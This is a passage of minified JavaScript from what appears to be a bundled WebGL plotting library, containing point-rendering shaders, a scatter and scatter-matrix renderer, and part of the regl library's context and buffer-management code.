varying float fragBorderRadius, fragWidth;

uniform float opacity;

float smoothStep(float edge0, float edge1, float x) {
	float t;
	t = clamp((x - edge0) / (edge1 - edge0), 0.0, 1.0);
	return t * t * (3.0 - 2.0 * t);
}

void main() {
	float radius, alpha = 1.0, delta = fragWidth;

	radius = length(2.0 * gl_PointCoord.xy - 1.0);

	if (radius > 1.0 + delta) {
		discard;
	}

	alpha -= smoothstep(1.0 - delta, 1.0 + delta, radius);

	float borderRadius = fragBorderRadius;
	float ratio = smoothstep(borderRadius - delta, borderRadius + delta, radius);
	vec4 color = mix(fragColor, fragBorderColor, ratio);
	color.a *= alpha * opacity;
	gl_FragColor = color;
}
`]),ne.vert=c([`precision highp float;
#define GLSLIFY 1

attribute float x, y, xFract, yFract;
attribute float size, borderSize;
attribute vec4 colorId, borderColorId;
attribute float isActive;

uniform bool constPointSize;
uniform float pixelRatio;
uniform vec2 paletteSize, scale, scaleFract, translate, translateFract;
uniform sampler2D paletteTexture;

const float maxSize = 100.;

varying vec4 fragColor, fragBorderColor;
varying float fragBorderRadius, fragWidth;

float pointSizeScale = (constPointSize) ? 2. : pixelRatio;

bool isDirect = (paletteSize.x < 1.);

vec4 getColor(vec4 id) {
  return isDirect ? id / 255. : texture2D(paletteTexture,
    vec2(
      (id.x + .5) / paletteSize.x,
      (id.y + .5) / paletteSize.y
    )
  );
}

void main() {
  // ignore inactive points
  if (isActive == 0.) return;

  vec2 position = vec2(x, y);
  vec2 positionFract = vec2(xFract, yFract);

  vec4 color = getColor(colorId);
  vec4 borderColor = getColor(borderColorId);

  float size = size * maxSize / 255.;
  float borderSize = borderSize * maxSize / 255.;

  gl_PointSize = (size + borderSize) * pointSizeScale;

  vec2 pos = (position + translate) * scale
      + (positionFract + translateFract) * scale
      + (position + translate) * scaleFract
      + (positionFract + translateFract) * scaleFract;

  gl_Position = vec4(pos * 2. - 1., 0., 1.);

  fragBorderRadius = 1. - 2. * borderSize / (size + borderSize);
  fragColor = color;
  fragBorderColor = borderColor.a == 0. || borderSize == 0. ? vec4(color.rgb, 0.) : borderColor;
  fragWidth = 1. / gl_PointSize;
}
`]),v&&(ne.frag=ne.frag.replace("smoothstep","smoothStep"),q.frag=q.frag.replace("smoothstep","smoothStep")),this.drawCircle=n(ne)}p.defaults={color:"black",borderColor:"transparent",borderSize:0,size:12,opacity:1,marker:void 0,viewport:null,range:null,pixelSize:null,count:0,offset:0,bounds:null,positions:[],snap:1e4},p.prototype.render=function(){return arguments.length&&this.update.apply(this,arguments),this.draw(),this},p.prototype.draw=function(){for(var n=this,C=arguments.length,x=new Array(C),I=0;I<C;I++)x[I]=arguments[I];var k=this.groups;if(x.length===1&&Array.isArray(x[0])&&(x[0][0]===null||Array.isArray(x[0][0]))&&(x=x[0]),this.regl._refresh(),x.length)for(var B=0;B<x.length;B++)this.drawItem(B,x[B]);else k.forEach(function(_,F){n.drawItem(F)});return this},p.prototype.drawItem=function(n,C){var x=this.groups,I=x[n];if(typeof C=="number"&&(n=C,I=x[C],C=null),!!(I&&I.count&&I.opacity)){I.activation[0]&&this.drawCircle(this.getMarkerDrawOptions(0,I,C));for(var k=[],B=1;B<I.activation.length;B++)!I.activation[B]||I.activation[B]!==!0&&!I.activation[B].data.length||k.push.apply(k,o(this.getMarkerDrawOptions(B,I,C)));k.length&&this.drawMarker(k)}},p.prototype.getMarkerDrawOptions=function(n,C,x){var I=C.range,k=C.tree,B=C.viewport,_=C.activation,F=C.selectionBuffer,O=C.count;if(this.regl,!k)return x?[y({},C,{markerTexture:this.markerTextures[n],activation:_[n],count:x.length,elements:x,offset:0})]:[y({},C,{markerTexture:this.markerTextures[n],activation:_[n],offset:0})];var z=[],N=k.range(I,{lod:!0,px:[(I[2]-I[0])/B.width,(I[3]-I[1])/B.height]});if(x){for(var G=_[n],J=G.data,q=new Uint8Array(O),ne=0;ne<x.length;ne++){var fe=x[ne];q[fe]=J?J[fe]:1}F.subdata(q)}for(var X=N.length;X--;){var W=P(N[X],2),V=W[0],Y=W[1];z.push(y({},C,{markerTexture:this.markerTextures[n],activation:x?F:_[n],offset:V,count:Y-V}))}return z},p.prototype.update=function(){for(var n=this,C=arguments.length,x=new Array(C),I=0;I<C;I++)x[I]=arguments[I];if(x.length){x.length===1&&Array.isArray(x[0])&&(x=x[0]);var k=this.groups,B=this.gl,_=this.regl,F=this.maxSize,O=this.maxColors,z=this.palette;this.groups=k=x.map(function(N,G){var J=k[G];if(N===void 0)return J;N===null?N={positions:null}:typeof N=="function"?N={ondraw:N}:typeof N[0]=="number"&&(N={positions:N}),N=b(N,{positions:"positions data points",snap:"snap cluster lod tree",size:"sizes size radius",borderSize:"borderSizes borderSize border-size bordersize borderWidth borderWidths border-width borderwidth stroke-width strokeWidth strokewidth outline",color:"colors color fill fill-color fillColor",borderColor:"borderColors borderColor stroke stroke-color strokeColor",marker:"markers marker shape",range:"range dataBox databox",viewport:"viewport viewPort viewBox viewbox",opacity:"opacity alpha transparency",bounds:"bound bounds boundaries limits",tooManyColors:"tooManyColors palette paletteMode optimizePalette enablePalette"}),N.positions===null&&(N.positions=[]),N.tooManyColors!=null&&(n.tooManyColors=N.tooManyColors),J||(k[G]=J={id:G,scale:null,translate:null,scaleFract:null,translateFract:null,activation:[],selectionBuffer:_.buffer({data:new Uint8Array(0),usage:"stream",type:"uint8"}),sizeBuffer:_.buffer({data:new Uint8Array(0),usage:"dynamic",type:"uint8"}),colorBuffer:_.buffer({data:new Uint8Array(0),usage:"dynamic",type:"uint8"}),positionBuffer:_.buffer({data:new Uint8Array(0),usage:"dynamic",type:"float"}),positionFractBuffer:_.buffer({data:new Uint8Array(0),usage:"dynamic",type:"float"})},N=y({},p.defaults,N)),N.positions&&!("marker"in N)&&(N.marker=J.marker,delete J.marker),N.marker&&!("positions"in N)&&(N.positions=J.positions,delete J.positions);var q=0,ne=0;if(h(J,N,[{snap:!0,size:function(ge,Te){return ge==null&&(ge=p.defaults.size),q+=ge&&ge.length?1:0,ge},borderSize:function(ge,Te){return ge==null&&(ge=p.defaults.borderSize),q+=ge&&ge.length?1:0,ge},opacity:parseFloat,color:function(ge,Te){return ge==null&&(ge=p.defaults.color),ge=n.updateColor(ge),ne++,ge},borderColor:function(ge,Te){return ge==null&&(ge=p.defaults.borderColor),ge=n.updateColor(ge),ne++,ge},bounds:function(ge,Te,Fe){return"range"in Fe||(Fe.range=null),ge},positions:function(ge,Te,Fe){var Oe=Te.snap,Ce=Te.positionBuffer,Be=Te.positionFractBuffer,$e=Te.selectionBuffer;if(ge.x||ge.y)return ge.x.length?Te.xAttr={buffer:_.buffer(ge.x),offset:0,stride:4,count:ge.x.length}:Te.xAttr={buffer:ge.x.buffer,offset:ge.x.offset*4||0,stride:(ge.x.stride||1)*4,count:ge.x.count},ge.y.length?Te.yAttr={buffer:_.buffer(ge.y),offset:0,stride:4,count:ge.y.length}:Te.yAttr={buffer:ge.y.buffer,offset:ge.y.offset*4||0,stride:(ge.y.stride||1)*4,count:ge.y.count},Te.count=Math.max(Te.xAttr.count,Te.yAttr.count),ge;ge=i(ge,"float64");var Xe=Te.count=Math.floor(ge.length/2),Ze=Te.bounds=Xe?l(ge,2):null;if(!Fe.range&&!Te.range&&(delete Te.range,Fe.range=Ze),!Fe.marker&&!Te.marker&&(delete Te.marker,Fe.marker=null),Oe&&(Oe===!0||Xe>Oe)?Te.tree=s(ge,{bounds:Ze}):Oe&&Oe.length&&(Te.tree=Oe),Te.tree){var Ke={primitive:"points",usage:"static",data:Te.tree,type:"uint32"};Te.elements?Te.elements(Ke):Te.elements=_.elements(Ke)}var st=T.float32(ge);Ce({data:st,usage:"dynamic"});var lt=T.fract32(ge,st);return Be({data:lt,usage:"dynamic"}),$e({data:new Uint8Array(Xe),type:"uint8",usage:"stream"}),ge}},{marker:function(ge,Te,Fe){var Oe=Te.activation;if(Oe.forEach(function(lt){return lt&&lt.destroy&&lt.destroy()}),Oe.length=0,!ge||typeof ge[0]=="number"){var Ce=n.addMarker(ge);Oe[Ce]=!0}else{for(var Be=[],$e=0,Xe=Math.min(ge.length,Te.count);$e<Xe;$e++){var Ze=n.addMarker(ge[$e]);Be[Ze]||(Be[Ze]=new Uint8Array(Te.count)),Be[Ze][$e]=1}for(var Ke=0;Ke<Be.length;Ke++)if(Be[Ke]){var st={data:Be[Ke],type:"uint8",usage:"static"};Oe[Ke]?Oe[Ke](st):Oe[Ke]=_.buffer(st),Oe[Ke].data=Be[Ke]}}return ge},range:function(ge,Te,Fe){var Oe=Te.bounds;if(Oe)return ge||(ge=Oe),Te.scale=[1/(ge[2]-ge[0]),1/(ge[3]-ge[1])],Te.translate=[-ge[0],-ge[1]],Te.scaleFract=T.fract(Te.scale),Te.translateFract=T.fract(Te.translate),ge},viewport:function(ge){var Te=w(ge||[B.drawingBufferWidth,B.drawingBufferHeight]);return Te}}]),q){var fe=J,X=fe.count,W=fe.size,V=fe.borderSize,Y=fe.sizeBuffer,Q=new Uint8Array(X*2);if(W.length||V.length)for(var ie=0;ie<X;ie++)Q[ie*2]=Math.round((W[ie]==null?W:W[ie])*255/F),Q[ie*2+1]=Math.round((V[ie]==null?V:V[ie])*255/F);Y({data:Q,usage:"dynamic"})}if(ne){var j=J,K=j.count,oe=j.color,re=j.borderColor,le=j.colorBuffer,pe;if(n.tooManyColors){if(oe.length||re.length){pe=new Uint8Array(K*8);for(var we=0;we<K;we++){var xe=oe[we];pe[we*8]=z[xe*4],pe[we*8+1]=z[xe*4+1],pe[we*8+2]=z[xe*4+2],pe[we*8+3]=z[xe*4+3];var ke=re[we];pe[we*8+4]=z[ke*4],pe[we*8+5]=z[ke*4+1],pe[we*8+6]=z[ke*4+2],pe[we*8+7]=z[ke*4+3]}}}else if(oe.length||re.length){pe=new Uint8Array(K*4+2);for(var _e=0;_e<K;_e++)oe[_e]!=null&&(pe[_e*4]=oe[_e]%O,pe[_e*4+1]=Math.floor(oe[_e]/O)),re[_e]!=null&&(pe[_e*4+2]=re[_e]%O,pe[_e*4+3]=Math.floor(re[_e]/O))}le({data:pe||new Uint8Array(0),type:"uint8",usage:"dynamic"})}return J})}},p.prototype.addMarker=function(n){var C=this.markerTextures,x=this.regl,I=this.markerCache,k=n==null?0:I.indexOf(n);if(k>=0)return k;var B;if(n instanceof Uint8Array||n instanceof Uint8ClampedArray)B=n;else{B=new Uint8Array(n.length);for(var _=0,F=n.length;_<F;_++)B[_]=n[_]*255}var O=Math.floor(Math.sqrt(B.length));return k=C.length,I.push(n),C.push(x.texture({channels:1,data:B,radius:O,mag:"linear",min:"linear"})),k},p.prototype.updateColor=function(n){var C=this.paletteIds,x=this.palette,I=this.maxColors;Array.isArray(n)||(n=[n]);var k=[];if(typeof n[0]=="number"){var B=[];if(Array.isArray(n))for(var _=0;_<n.length;_+=4)B.push(n.slice(_,_+4));else for(var F=0;F<n.length;F+=4)B.push(n.subarray(F,F+4));n=B}for(var O=0;O<n.length;O++){var z=n[O];z=a(z,"uint8");var N=u(z,!1);if(C[N]==null){var G=x.length;C[N]=Math.floor(G/4),x[G]=z[0],x[G+1]=z[1],x[G+2]=z[2],x[G+3]=z[3]}k[O]=C[N]}return!this.tooManyColors&&x.length>I*4&&(this.tooManyColors=!0),this.updatePalette(x),k.length===1?k[0]:k},p.prototype.updatePalette=function(n){if(!this.tooManyColors){var C=this.maxColors,x=this.paletteTexture,I=Math.ceil(n.length*.25/C);if(I>1){n=n.slice();for(var k=n.length*.25%C;k<I*C;k++)n.push(0,0,0,0)}x.height<I&&x.resize(C,I),x.subimage({width:Math.min(n.length*.25,C),height:I,data:n},0,0)}},p.prototype.destroy=function(){return this.groups.forEach(function(n){n.sizeBuffer.destroy(),n.positionBuffer.destroy(),n.positionFractBuffer.destroy(),n.colorBuffer.destroy(),n.activation.forEach(function(C){return C&&C.destroy&&C.destroy()}),n.selectionBuffer.destroy(),n.elements&&n.elements.destroy()}),this.groups.length=0,this.paletteTexture.destroy(),this.markerTextures.forEach(function(n){return n&&n.destroy&&n.destroy()}),this};var A=e(56131),m=function(C,x){var I=new E(C,x),k=I.render.bind(I);return A(k,{render:k,update:I.update.bind(I),draw:I.draw.bind(I),destroy:I.destroy.bind(I),regl:I.regl,gl:I.gl,canvas:I.gl.canvas,groups:I.groups,markers:I.markerCache,palette:I.palette}),k};te.exports=m},60487:function(te,Z,e){var M=e(11870),P=e(71299),o=e(21527),L=e(5877),S=e(57471),d=e(18863),g=e(30120);te.exports=t;function t(l,u){if(!(this instanceof t))return new t(l);this.traces=[],this.passes={},this.regl=l,this.scatter=M(l),this.canvas=this.scatter.canvas}t.prototype.render=function(){for(var l=this,u,s=[],y=arguments.length;y--;)s[y]=arguments[y];return s.length&&(u=this).update.apply(u,s),this.regl.attributes.preserveDrawingBuffer?this.draw():(this.dirty?this.planned==null&&(this.planned=L(function(){l.draw(),l.dirty=!0,l.planned=null})):(this.draw(),this.dirty=!0,L(function(){l.dirty=!1})),this)},t.prototype.update=function(){for(var l,u=[],s=arguments.length;s--;)u[s]=arguments[s];if(u.length){for(var y=0;y<u.length;y++)this.updateItem(y,u[y]);this.traces=this.traces.filter(Boolean);for(var c=[],b=0,h=0;h<this.traces.length;h++){for(var i=this.traces[h],v=this.traces[h].passes,T=0;T<v.length;T++)c.push(this.passes[v[T]]);i.passOffset=b,b+=i.passes.length}return(l=this.scatter).update.apply(l,c),this}},t.prototype.updateItem=function(l,u){var s=this,y=s.regl;if(u===null)return this.traces[l]=null,this;if(!u)return this;var c=P(u,{data:"data items columns rows values dimensions samples x",snap:"snap cluster",size:"sizes size radius",color:"colors color fill fill-color fillColor",opacity:"opacity alpha transparency opaque",borderSize:"borderSizes borderSize border-size bordersize borderWidth borderWidths border-width borderwidth stroke-width strokeWidth strokewidth outline",borderColor:"borderColors borderColor bordercolor stroke stroke-color strokeColor",marker:"markers marker shape",range:"range ranges databox dataBox",viewport:"viewport viewBox viewbox",domain:"domain domains area areas",padding:"pad padding paddings pads margin margins",transpose:"transpose transposed",diagonal:"diagonal diag showDiagonal",upper:"upper up top upperhalf upperHalf showupperhalf showUpper showUpperHalf",lower:"lower low bottom lowerhalf lowerHalf showlowerhalf showLowerHalf showLower"}),b=this.traces[l]||(this.traces[l]={id:l,buffer:y.buffer({usage:"dynamic",type:"float",data:new Uint8Array}),color:"black",marker:null,size:12,borderColor:"transparent",borderSize:1,viewport:d([y._gl.drawingBufferWidth,y._gl.drawingBufferHeight]),padding:[0,0,0,0],opacity:1,diagonal:!0,upper:!0,lower:!0});if(c.color!=null&&(b.color=c.color),c.size!=null&&(b.size=c.size),c.marker!=null&&(b.marker=c.marker),c.borderColor!=null&&(b.borderColor=c.borderColor),c.borderSize!=null&&(b.borderSize=c.borderSize),c.opacity!=null&&(b.opacity=c.opacity),c.viewport&&(b.viewport=d(c.viewport)),c.diagonal!=null&&(b.diagonal=c.diagonal),c.upper!=null&&(b.upper=c.upper),c.lower!=null&&(b.lower=c.lower),c.data){b.buffer(g(c.data)),b.columns=c.data.length,b.count=c.data[0].length,b.bounds=[];for(var h=0;h<b.columns;h++)b.bounds[h]=o(c.data[h],1)}var i;c.range&&(b.range=c.range,i=b.range&&typeof b.range[0]!="number"),c.domain&&(b.domain=c.domain);var v=!1;c.padding!=null&&(Array.isArray(c.padding)&&c.padding.length===b.columns&&typeof c.padding[c.padding.length-1]=="number"?(b.padding=c.padding.map(a),v=!0):b.padding=a(c.padding));var T=b.columns,w=b.count,E=b.viewport.width,p=b.viewport.height,A=b.viewport.x,m=b.viewport.y,n=E/T,C=p/T;b.passes=[];for(var x=0;x<T;x++)for(var I=0;I<T;I++)if(!(!b.diagonal&&I===x)&&!(!b.upper&&x>I)&&!(!b.lower&&x<I)){var k=r(b.id,x,I),B=this.passes[k]||(this.passes[k]={});if(c.data&&(c.transpose?B.positions={x:{buffer:b.buffer,offset:I,count:w,stride:T},y:{buffer:b.buffer,offset:x,count:w,stride:T}}:B.positions={x:{buffer:b.buffer,offset:I*w,count:w},y:{buffer:b.buffer,offset:x*w,count:w}},B.bounds=f(b.bounds,x,I)),c.domain||c.viewport||c.data){var _=v?f(b.padding,x,I):b.padding;if(b.domain){var F=f(b.domain,x,I),O=F[0],z=F[1],N=F[2],G=F[3];B.viewport=[A+O*E+_[0],m+z*p+_[1],A+N*E-_[2],m+G*p-_[3]]}else B.viewport=[A+I*n+n*_[0],m+x*C+C*_[1],A+(I+1)*n-n*_[2],m+(x+1)*C-C*_[3]]}c.color&&(B.color=b.color),c.size&&(B.size=b.size),c.marker&&(B.marker=b.marker),c.borderSize&&(B.borderSize=b.borderSize),c.borderColor&&(B.borderColor=b.borderColor),c.opacity&&(B.opacity=b.opacity),c.range&&(B.range=i?f(b.range,x,I):b.range||B.bounds),b.passes.push(k)}return this},t.prototype.draw=function(){for(var l,u=[],s=arguments.length;s--;)u[s]=arguments[s];if(!u.length)this.scatter.draw();else{for(var y=[],c=0;c<u.length;c++)if(typeof u[c]=="number"){var b=this.traces[u[c]],h=b.passes,i=b.passOffset;y.push.apply(y,S(i,i+h.length))}else if(u[c].length){var v=u[c],T=this.traces[c],w=T.passes,E=T.passOffset;w=w.map(function(p,A){y[E+A]=v})}(l=this.scatter).draw.apply(l,y)}return this},t.prototype.destroy=function(){return this.traces.forEach(function(l){l.buffer&&l.buffer.destroy&&l.buffer.destroy()}),this.traces=null,this.passes=null,this.scatter.destroy(),this};function r(l,u,s){var y=l.id!=null?l.id:l,c=u,b=s,h=y<<16|(c&255)<<8|b&255;return h}function f(l,u,s){var y,c,b,h,i=l[u],v=l[s];return i.length>2?(i[0],i[2],y=i[1],c=i[3]):i.length?(y=i[0],c=i[1]):(i.x,y=i.y,i.x+i.width,c=i.y+i.height),v.length>2?(b=v[0],h=v[2],v[1],v[3]):v.length?(b=v[0],h=v[1]):(b=v.x,v.y,h=v.x+v.width,v.y+v.height),[b,y,h,c]}function a(l){if(typeof l=="number")return[l,l,l,l];if(l.length===2)return[l[0],l[1],l[0],l[1]];var u=d(l);return[u.x,u.y,u.x+u.width,u.y+u.height]}},98580:function(te){(function(Z,e){te.exports=e()})(this,function(){function Z(ct,Vt){this.id=le++,this.type=ct,this.data=Vt}function e(ct){if(ct.length===0)return[];var Vt=ct.charAt(0),Ut=ct.charAt(ct.length-1);if(1<ct.length&&Vt===Ut&&(Vt==='"'||Vt==="'"))return['"'+ct.substr(1,ct.length-2).replace(/\\/g,"\\\\").replace(/"/g,'\\"')+'"'];if(Vt=/\[(false|true|null|\d+|'[^']*'|"[^"]*")\]/.exec(ct))return e(ct.substr(0,Vt.index)).concat(e(Vt[1])).concat(e(ct.substr(Vt.index+Vt[0].length)));if(Vt=ct.split("."),Vt.length===1)return['"'+ct.replace(/\\/g,"\\\\").replace(/"/g,'\\"')+'"'];for(ct=[],Ut=0;Ut<Vt.length;++Ut)ct=ct.concat(e(Vt[Ut]));return ct}function M(ct){return"["+e(ct).join("][")+"]"}function P(ct,Vt){if(typeof ct=="function")return new Z(0,ct);if(typeof ct=="number"||typeof ct=="boolean")return new Z(5,ct);if(Array.isArray(ct))return new Z(6,ct.map(function(Ut,dr){return P(Ut)}));if(ct instanceof Z)return ct}function o(){var ct={"":0},Vt=[""];return{id:function(Ut){var dr=ct[Ut];return dr||(dr=ct[Ut]=Vt.length,Vt.push(Ut),dr)},str:function(Ut){return Vt[Ut]}}}function L(ct,Vt,Ut){function dr(){var rt=window.innerWidth,vt=window.innerHeight;ct!==document.body&&(vt=sr.getBoundingClientRect(),rt=vt.right-vt.left,vt=vt.bottom-vt.top),sr.width=Ut*rt,sr.height=Ut*vt}var sr=document.createElement("canvas");re(sr.style,{border:0,margin:0,padding:0,top:0,left:0,width:"100%",height:"100%"}),ct.appendChild(sr),ct===document.body&&(sr.style.position="absolute",re(ct.style,{margin:0,padding:0}));var nt;return ct!==document.body&&typeof ResizeObserver=="function"?(nt=new ResizeObserver(function(){setTimeout(dr)}),nt.observe(ct)):window.addEventListener("resize",dr,!1),dr(),{canvas:sr,onDestroy:function(){nt?nt.disconnect():window.removeEventListener("resize",dr),ct.removeChild(sr)}}}function S(ct,Vt){function Ut(dr){try{return ct.getContext(dr,Vt)}catch{return null}}return Ut("webgl")||Ut("experimental-webgl")||Ut("webgl-experimental")}function d(ct){return typeof ct=="string"?ct.split():ct}function g(ct){return typeof ct=="string"?document.querySelector(ct):ct}function t(ct){var Vt=ct||{},Ut,dr,sr,nt;ct={};var rt=[],vt=[],gt=typeof window>"u"?1:window.devicePixelRatio,wt=!1,mt={},Pt=function(Xt){},zt=function(){};if(typeof Vt=="string"?Ut=document.querySelector(Vt):typeof Vt=="object"&&(typeof Vt.nodeName=="string"&&typeof Vt.appendChild=="function"&&typeof Vt.getBoundingClientRect=="function"?Ut=Vt:typeof Vt.drawArrays=="function"||typeof Vt.drawElements=="function"?(nt=Vt,sr=nt.canvas):("gl"in Vt?nt=Vt.gl:"canvas"in Vt?sr=g(Vt.canvas):"container"in Vt&&(dr=g(Vt.container)),"attributes"in Vt&&(ct=Vt.attributes),"extensions"in Vt&&(rt=d(Vt.extensions)),"optionalExtensions"in Vt&&(vt=d(Vt.optionalExtensions)),"onDone"in Vt&&(Pt=Vt.onDone),"profile"in Vt&&(wt=!!Vt.profile),"pixelRatio"in Vt&&(gt=+Vt.pixelRatio),"cachedCode"in Vt&&(mt=Vt.cachedCode))),Ut&&(Ut.nodeName.toLowerCase()==="canvas"?sr=Ut:dr=Ut),!nt){if(!sr){if(Ut=L(dr||document.body,Pt,gt),!Ut)return null;sr=Ut.canvas,zt=Ut.onDestroy}ct.premultipliedAlpha===void 0&&(ct.premultipliedAlpha=!0),nt=S(sr,ct)}return nt?{gl:nt,canvas:sr,container:dr,extensions:rt,optionalExtensions:vt,pixelRatio:gt,profile:wt,cachedCode:mt,onDone:Pt,onDestroy:zt}:(zt(),Pt("webgl not supported, try upgrading your browser or graphics drivers http://get.webgl.org"),null)}function r(ct,Vt){function Ut(rt){rt=rt.toLowerCase();var vt;try{vt=dr[rt]=ct.getExtension(rt)}catch{}return!!vt}for(var dr={},sr=0;sr<Vt.extensions.length;++sr){var nt=Vt.extensions[sr];if(!Ut(nt))return Vt.onDestroy(),Vt.onDone('"'+nt+'" extension is not supported by the current WebGL context, try upgrading your system or a different browser'),null}return Vt.optionalExtensions.forEach(Ut),{extensions:dr,restore:function(){Object.keys(dr).forEach(function(rt){if(dr[rt]&&!Ut(rt))throw Error("(regl): error restoring extension "+rt)})}}}function f(ct,Vt){for(var Ut=Array(ct),dr=0;dr<ct;++dr)Ut[dr]=Vt(dr);return Ut}function a(ct){var Vt,Ut;return Vt=(65535<ct)<<4,ct>>>=Vt,Ut=(255<ct)<<3,ct>>>=Ut,Vt|=Ut,Ut=(15<ct)<<2,ct>>>=Ut,Vt|=Ut,Ut=(3<ct)<<1,Vt|Ut|ct>>>Ut>>1}function l(){function ct(dr){e:{for(var sr=16;268435456>=sr;sr*=16)if(dr<=sr){dr=sr;break e}dr=0}return sr=Ut[a(dr)>>2],0<sr.length?sr.pop():new ArrayBuffer(dr)}function Vt(dr){Ut[a(dr.byteLength)>>2].push(dr)}var Ut=f(8,function(){return[]});return{alloc:ct,free:Vt,allocType:function(dr,sr){var nt=null;switch(dr){case 5120:nt=new Int8Array(ct(sr),0,sr);break;case 5121:nt=new Uint8Array(ct(sr),0,sr);break;case 5122:nt=new Int16Array(ct(2*sr),0,sr);break;case 5123:nt=new Uint16Array(ct(2*sr),0,sr);break;case 5124:nt=new Int32Array(ct(4*sr),0,sr);break;case 5125:nt=new Uint32Array(ct(4*sr),0,sr);break;case 5126:nt=new Float32Array(ct(4*sr),0,sr);break;default:return null}return nt.length!==sr?nt.subarray(0,sr):nt},freeType:function(dr){Vt(dr.buffer)}}}function u(ct){return!!ct&&typeof ct=="object"&&Array.isArray(ct.shape)&&Array.isArray(ct.stride)&&typeof ct.offset=="number"&&ct.shape.length===ct.stride.length&&(Array.isArray(ct.data)||be(ct.data))}function s(ct,Vt,Ut,dr,sr,nt){for(var rt=0;rt<Vt;++rt)for(var vt=ct[rt],gt=0;gt<Ut;++gt)for(var wt=vt[gt],mt=0;mt<dr;++mt)sr[nt++]=wt[mt]}function y(ct,Vt,Ut,dr,sr){for(var nt=1,rt=Ut+1;rt<Vt.length;++rt)nt*=Vt[rt];var vt=Vt[Ut];if(Vt.length-Ut===4){var gt=Vt[Ut+1],wt=Vt[Ut+2];for(Vt=Vt[Ut+3],rt=0;rt<vt;++rt)s(ct[rt],gt,wt,Vt,dr,sr),sr+=nt}else for(rt=0;rt<vt;++rt)y(ct[rt],Vt,Ut+1,dr,sr),sr+=nt}function c(ct){return Fe[Object.prototype.toString.call(ct)]|0}function b(ct,Vt){for(var Ut=0;Ut<Vt.length;++Ut)ct[Ut]=Vt[Ut]}function h(ct,Vt,Ut,dr,sr,nt,rt){for(var vt=0,gt=0;gt<Ut;++gt)for(var wt=0;wt<dr;++wt)ct[vt++]=Vt[sr*gt+nt*wt+rt]}function i(ct,Vt,Ut,dr){function sr(Pt){this.id=gt++,this.buffer=ct.createBuffer(),this.type=Pt,this.usage=35044,this.byteLength=0,this.dimension=1,this.dtype=5121,this.persistentData=null,Ut.profile&&(this.stats={size:0})}function nt(Pt,zt,Xt){Pt.byteLength=zt.byteLength,ct.bufferData(Pt.type,zt,Xt)}function rt(Pt,zt,Xt,Yt,$t,yr){if(Pt.usage=Xt,Array.isArray(zt)){if(Pt.dtype=Yt||5126,0<zt.length)if(Array.isArray(zt[0])){$t=$e(zt);for(var Ue=Yt=1;Ue<$t.length;++Ue)Yt*=$t[Ue];Pt.dimension=Yt,zt=Be(zt,$t,Pt.dtype),nt(Pt,zt,Xt),yr?Pt.persistentData=zt:ke.freeType(zt)}else typeof zt[0]=="number"?(Pt.dimension=$t,$t=ke.allocType(Pt.dtype,zt.length),b($t,zt),nt(Pt,$t,Xt),yr?Pt.persistentData=$t:ke.freeType($t)):be(zt[0])&&(Pt.dimension=zt[0].length,Pt.dtype=Yt||c(zt[0])||5126,zt=Be(zt,[zt.length,zt[0].length],Pt.dtype),nt(Pt,zt,Xt),yr?Pt.persistentData=zt:ke.freeType(zt))}else if(be(zt))Pt.dtype=Yt||c(zt),Pt.dimension=$t,nt(Pt,zt,Xt),yr&&(Pt.persistentData=new Uint8Array(new Uint8Array(zt.buffer)));else if(u(zt)){$t=zt.shape;var Ne=zt.stride,Ue=zt.offset,Et=0,Lt=0,Nt=0,rr=0;$t.length===1?(Et=$t[0],Lt=1,Nt=Ne[0],rr=0):$t.length===2&&(Et=$t[0],Lt=$t[1],Nt=Ne[0],rr=Ne[1]),Pt.dtype=Yt||c(zt.data)||5126,Pt.dimension=Lt,$t=ke.allocType(Pt.dtype,Et*Lt),h($t,zt.data,Et,Lt,Nt,rr,Ue),nt(Pt,$t,Xt),yr?Pt.persistentData=$t:ke.freeType($t)}else zt instanceof ArrayBuffer&&(Pt.dtype=5121,Pt.dimension=$t,nt(Pt,zt,Xt),yr&&(Pt.persistentData=new Uint8Array(new Uint8Array(zt))))}function vt(Pt){Vt.bufferCount--,dr(Pt),ct.deleteBuffer(Pt.buffer),Pt.buffer=null,delete wt[Pt.id]}var gt=0,wt={};sr.prototype.bind=function(){ct.bindBuffer(this.type,this.buffer)},sr.prototype.destroy=function(){vt(this)};var mt=[];return Ut.profile&&(Vt.getTotalBufferSize=function(){var Pt=0;return Object.keys(wt).forEach(function(zt){Pt+=wt[zt].stats.size}),Pt}),{create:function(Pt,zt,Xt,Yt){function $t(Ue){var Ne=35044,Et=null,Lt=0,Nt=0,rr=1;return Array.isArray(Ue)||be(Ue)||u(Ue)||Ue instanceof ArrayBuffer?Et=Ue:typeof Ue=="number"?Lt=Ue|0:Ue&&("data"in Ue&&(Et=Ue.data),"usage"in Ue&&(Ne=Ce[Ue.usage]),"type"in Ue&&(Nt=Oe[Ue.type]),"dimension"in Ue&&(rr=Ue.dimension|0),"length"in Ue&&(Lt=Ue.length|0)),yr.bind(),Et?rt(yr,Et,Ne,Nt,rr,Yt):(Lt&&ct.bufferData(yr.type,Lt,Ne),yr.dtype=Nt||5121,yr.usage=Ne,yr.dimension=rr,yr.byteLength=Lt),Ut.profile&&(yr.stats.size=yr.byteLength*Xe[yr.dtype]),$t}Vt.bufferCount++;var yr=new sr(zt);return wt[yr.id]=yr,Xt||$t(Pt),$t._reglType="buffer",$t._buffer=yr,$t.subdata=function(Ue,Ne){var Et=(Ne||0)|0,Lt;if(yr.bind(),be(Ue)||Ue instanceof ArrayBuffer)ct.bufferSubData(yr.type,Et,Ue);else if(Array.isArray(Ue)){if(0<Ue.length)if(typeof Ue[0]=="number"){var Nt=ke.allocType(yr.dtype,Ue.length);b(Nt,Ue),ct.bufferSubData(yr.type,Et,Nt),ke.freeType(Nt)}else(Array.isArray(Ue[0])||be(Ue[0]))&&(Lt=$e(Ue),Nt=Be(Ue,Lt,yr.dtype),ct.bufferSubData(yr.type,Et,Nt),ke.freeType(Nt))}else if(u(Ue)){Lt=Ue.shape;var rr=Ue.stride,tr=Nt=0,Jt=0,It=0;Lt.length===1?(Nt=Lt[0],tr=1,Jt=rr[0],It=0):Lt.length===2&&(Nt=Lt[0],tr=Lt[1],Jt=rr[0],It=rr[1]),Lt=Array.isArray(Ue.data)?yr.dtype:c(Ue.data),Lt=ke.allocType(Lt,Nt*tr),h(Lt,Ue.data,Nt,tr,Jt,It,Ue.offset),ct.bufferSubData(yr.type,Et,Lt),ke.freeType(Lt)}return $t},Ut.profile&&($t.stats=yr.stats),$t.destroy=function(){vt(yr)},$t},createStream:function(Pt,zt){var Xt=mt.pop();return Xt||(Xt=new 